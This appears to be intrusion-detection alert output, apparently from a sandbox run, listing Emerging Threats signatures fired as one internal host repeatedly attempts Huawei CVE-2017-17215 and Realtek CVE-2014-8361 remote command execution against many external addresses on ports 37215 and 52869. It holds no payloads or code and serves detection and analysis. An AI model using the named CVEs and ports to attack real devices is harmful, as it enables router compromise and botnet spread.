Source Port:	43488
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.216.33.244

Timestamp:	07/20/24-23:01:33.081951
SID:	2835222
Source Port:	40114
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.129.69.142

Timestamp:	07/20/24-23:01:19.220572
SID:	2829579
Source Port:	45714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.79.148.22

Timestamp:	07/20/24-23:01:14.399761
SID:	2835222
Source Port:	36840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.143.9.246

Timestamp:	07/20/24-23:01:22.804406
SID:	2835222
Source Port:	37920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 204.86.40.252

Timestamp:	07/20/24-23:01:07.662924
SID:	2829579
Source Port:	48328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.175.130.233

Timestamp:	07/20/24-23:01:19.334293
SID:	2829579
Source Port:	58748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 117.170.200.63

Timestamp:	07/20/24-23:01:07.672294
SID:	2835222
Source Port:	36022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.55.85.107

Timestamp:	07/20/24-23:01:11.467529
SID:	2835222
Source Port:	53112
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 77.164.7.36

Timestamp:	07/20/24-23:01:05.827522
SID:	2025132
Source Port:	50454
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.5.19.94

Timestamp:	07/20/24-23:01:22.785873
SID:	2829579
Source Port:	38852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 35.148.236.78

Timestamp:	07/20/24-23:01:22.777005
SID:	2835222
Source Port:	43632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.54.252.192

Timestamp:	07/20/24-23:01:25.283565
SID:	2829579
Source Port:	51948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.120.40.109

Timestamp:	07/20/24-23:01:07.680463
SID:	2835222
Source Port:	55686
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 206.110.55.66

Timestamp:	07/20/24-23:01:34.919559
SID:	2831300
Source Port:	48118
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.107.232.37

Timestamp:	07/20/24-23:01:14.401003
SID:	2829579
Source Port:	49994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 118.0.129.46

Timestamp:	07/20/24-23:01:02.411076
SID:	2829579
Source Port:	59868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 52.169.146.169

Timestamp:	07/20/24-23:01:19.220224
SID:	2835222
Source Port:	51358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.153.89.176

Timestamp:	07/20/24-23:01:33.047902
SID:	2835222
Source Port:	51178
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 111.86.157.53

Timestamp:	07/20/24-23:01:06.241636
SID:	2025132
Source Port:	36028
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 112.236.210.206

Timestamp:	07/20/24-23:01:05.608194
SID:	2027339
Source Port:	41312
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 117.81.229.141

Timestamp:	07/20/24-23:01:07.684526
SID:	2829579
Source Port:	58354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 87.188.195.240

Timestamp:	07/20/24-23:01:34.972618
SID:	2027339
Source Port:	54832
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.56.108.56

Timestamp:	07/20/24-23:01:11.483526
SID:	2835222
Source Port:	44808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.181.74.25

Timestamp:	07/20/24-23:01:19.220875
SID:	2835222
Source Port:	55450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.111.225.219

Timestamp:	07/20/24-23:01:14.406186
SID:	2835222
Source Port:	44172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 205.244.60.239

Timestamp:	07/20/24-23:01:24.577731
SID:	2027339
Source Port:	60482
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.94.215.195

Timestamp:	07/20/24-23:01:28.142946
SID:	2835222
Source Port:	35634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 189.92.207.153

Timestamp:	07/20/24-23:01:25.210004
SID:	2027339
Source Port:	51666
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.139.36.46

Timestamp:	07/20/24-23:01:05.895886
SID:	2835222
Source Port:	40738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.189.46.196

Timestamp:	07/20/24-23:01:22.794319
SID:	2835222
Source Port:	51112
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.137.75.124

Timestamp:	07/20/24-23:01:02.408596
SID:	2829579
Source Port:	57162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 110.190.170.59

Timestamp:	07/20/24-23:01:07.438956
SID:	2027339
Source Port:	43902
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.174.192.210

Timestamp:	07/20/24-23:01:22.769326
SID:	2829579
Source Port:	50564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.68.136.32

Timestamp:	07/20/24-23:01:11.460861
SID:	2829579
Source Port:	57404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 71.221.176.212

Timestamp:	07/20/24-23:01:33.070886
SID:	2829579
Source Port:	50418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 157.172.195.68

Timestamp:	07/20/24-23:01:34.909517
SID:	2831300
Source Port:	56686
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.47.140.98

Timestamp:	07/20/24-23:01:33.050087
SID:	2835222
Source Port:	36160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.27.41.248

Timestamp:	07/20/24-23:01:11.477507
SID:	2835222
Source Port:	43684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 192.67.13.54

Timestamp:	07/20/24-23:01:33.620818
SID:	2025132
Source Port:	48502
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.242.91.59

Timestamp:	07/20/24-23:01:07.672294
SID:	2829579
Source Port:	54706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 202.104.226.178

Timestamp:	07/20/24-23:01:07.483062
SID:	2025132
Source Port:	40752
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.131.216.90

Timestamp:	07/20/24-23:01:19.235468
SID:	2835222
Source Port:	48150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.226.121.155

Timestamp:	07/20/24-23:01:25.281101
SID:	2835222
Source Port:	40960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.23.188.13

Timestamp:	07/20/24-23:01:11.477507
SID:	2829579
Source Port:	55880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 65.188.53.189

Timestamp:	07/20/24-23:01:13.329927
SID:	2027339
Source Port:	54402
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 60.144.29.97

Timestamp:	07/20/24-23:01:05.788074
SID:	2025132
Source Port:	49814
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 60.95.251.66

Timestamp:	07/20/24-23:01:11.480465
SID:	2829579
Source Port:	48608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 37.110.59.42

Timestamp:	07/20/24-23:01:02.408227
SID:	2829579
Source Port:	55730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.213.216.231

Timestamp:	07/20/24-23:01:14.401003
SID:	2829579
Source Port:	49250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 194.147.115.196

Timestamp:	07/20/24-23:01:05.864441
SID:	2025132
Source Port:	54232
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 47.157.17.225

Timestamp:	07/20/24-23:01:29.198098
SID:	2831300
Source Port:	33284
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.217.234.179

Timestamp:	07/20/24-23:01:19.233507
SID:	2829579
Source Port:	35484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 206.233.127.191

Timestamp:	07/20/24-23:01:05.797653
SID:	2027339
Source Port:	50732
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.104.226.171

Timestamp:	07/20/24-23:01:07.682290
SID:	2829579
Source Port:	44808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 137.171.174.123

Timestamp:	07/20/24-23:01:23.020514
SID:	2025132
Source Port:	46072
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.163.101.17

Timestamp:	07/20/24-23:01:28.211361
SID:	2829579
Source Port:	54788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.113.150.224

Timestamp:	07/20/24-23:01:28.389273
SID:	2829579
Source Port:	58658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 114.173.101.131

Timestamp:	07/20/24-23:01:13.332173
SID:	2027339
Source Port:	58010
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.92.37.182

Timestamp:	07/20/24-23:01:07.676384
SID:	2829579
Source Port:	44480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 45.242.224.131

Timestamp:	07/20/24-23:01:33.046879
SID:	2835222
Source Port:	55574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 148.29.0.19

Timestamp:	07/20/24-23:01:05.920528
SID:	2829579
Source Port:	45614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.38.206.56

Timestamp:	07/20/24-23:01:14.454899
SID:	2829579
Source Port:	49632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.59.154.40

Timestamp:	07/20/24-23:01:33.081951
SID:	2835222
Source Port:	58334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 138.222.128.120

Timestamp:	07/20/24-23:01:13.330569
SID:	2027339
Source Port:	53954
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.244.165.97

Timestamp:	07/20/24-23:01:07.672294
SID:	2835222
Source Port:	55166
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.241.8.230

Timestamp:	07/20/24-23:01:25.230811
SID:	2829579
Source Port:	39922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 8.55.90.119

Timestamp:	07/20/24-23:01:05.588258
SID:	2027339
Source Port:	46444
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.27.229.64

Timestamp:	07/20/24-23:01:11.468893
SID:	2835222
Source Port:	58846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 158.37.247.254

Timestamp:	07/20/24-23:01:28.216939
SID:	2829579
Source Port:	48298
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 138.222.128.120

Timestamp:	07/20/24-23:01:05.616355
SID:	2025132
Source Port:	52796
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 106.111.13.138

Timestamp:	07/20/24-23:01:25.298710
SID:	2835222
Source Port:	56278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 159.34.206.150

Timestamp:	07/20/24-23:01:34.820857
SID:	2025132
Source Port:	52050
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 65.117.250.24

Timestamp:	07/20/24-23:01:19.252785
SID:	2829579
Source Port:	43978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.75.239.39

Timestamp:	07/20/24-23:01:11.481655
SID:	2829579
Source Port:	44298
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 110.2.88.21

Timestamp:	07/20/24-23:01:34.919559
SID:	2831300
Source Port:	55714
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.46.214.138

Timestamp:	07/20/24-23:01:33.047902
SID:	2835222
Source Port:	48452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 102.223.154.160

Timestamp:	07/20/24-23:01:13.333720
SID:	2831300
Source Port:	57648
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 35.167.163.145

Timestamp:	07/20/24-23:01:24.490480
SID:	2027339
Source Port:	52988
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 18.185.167.223

Timestamp:	07/20/24-23:01:07.679354
SID:	2829579
Source Port:	54224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.77.0.48

Timestamp:	07/20/24-23:01:14.400300
SID:	2835222
Source Port:	52432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 65.248.115.141

Timestamp:	07/20/24-23:01:06.155613
SID:	2027339
Source Port:	48680
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.224.87.166

Timestamp:	07/20/24-23:01:22.783280
SID:	2835222
Source Port:	37000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.189.92.28

Timestamp:	07/20/24-23:01:28.208110
SID:	2829579
Source Port:	51704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 122.197.102.121

Timestamp:	07/20/24-23:01:05.902118
SID:	2835222
Source Port:	39342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 48.200.124.66

Timestamp:	07/20/24-23:01:05.900314
SID:	2835222
Source Port:	48024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 124.106.212.23

Timestamp:	07/20/24-23:01:24.313246
SID:	2027339
Source Port:	49644
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 210.169.65.93

Timestamp:	07/20/24-23:01:28.142925
SID:	2829579
Source Port:	57468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.203.201.189

Timestamp:	07/20/24-23:01:28.196416
SID:	2829579
Source Port:	39888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.249.94.160

Timestamp:	07/20/24-23:01:28.200134
SID:	2835222
Source Port:	43552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 159.34.206.150

Timestamp:	07/20/24-23:01:34.995514
SID:	2831300
Source Port:	53912
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 222.15.221.37

Timestamp:	07/20/24-23:01:06.224181
SID:	2027339
Source Port:	50718
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 36.55.148.89

Timestamp:	07/20/24-23:01:14.397957
SID:	2829579
Source Port:	36440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 157.113.216.32

Timestamp:	07/20/24-23:01:29.198098
SID:	2027339
Source Port:	57768
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 116.117.218.123

Timestamp:	07/20/24-23:01:34.913412
SID:	2831300
Source Port:	52694
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.225.86.159

Timestamp:	07/20/24-23:01:11.485692
SID:	2829579
Source Port:	32830
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 185.142.167.93

Timestamp:	07/20/24-23:01:29.169710
SID:	2831300
Source Port:	36918
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 23.217.181.6

Timestamp:	07/20/24-23:01:34.939612
SID:	2027339
Source Port:	36624
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 98.8.145.55

Timestamp:	07/20/24-23:01:25.046669
SID:	2027339
Source Port:	59386
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.122.148.214

Timestamp:	07/20/24-23:01:37.166003
SID:	2829579
Source Port:	57638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.162.228.45

Timestamp:	07/20/24-23:01:11.480465
SID:	2835222
Source Port:	48554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 65.188.53.189

Timestamp:	07/20/24-23:01:05.601372
SID:	2025132
Source Port:	53244
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

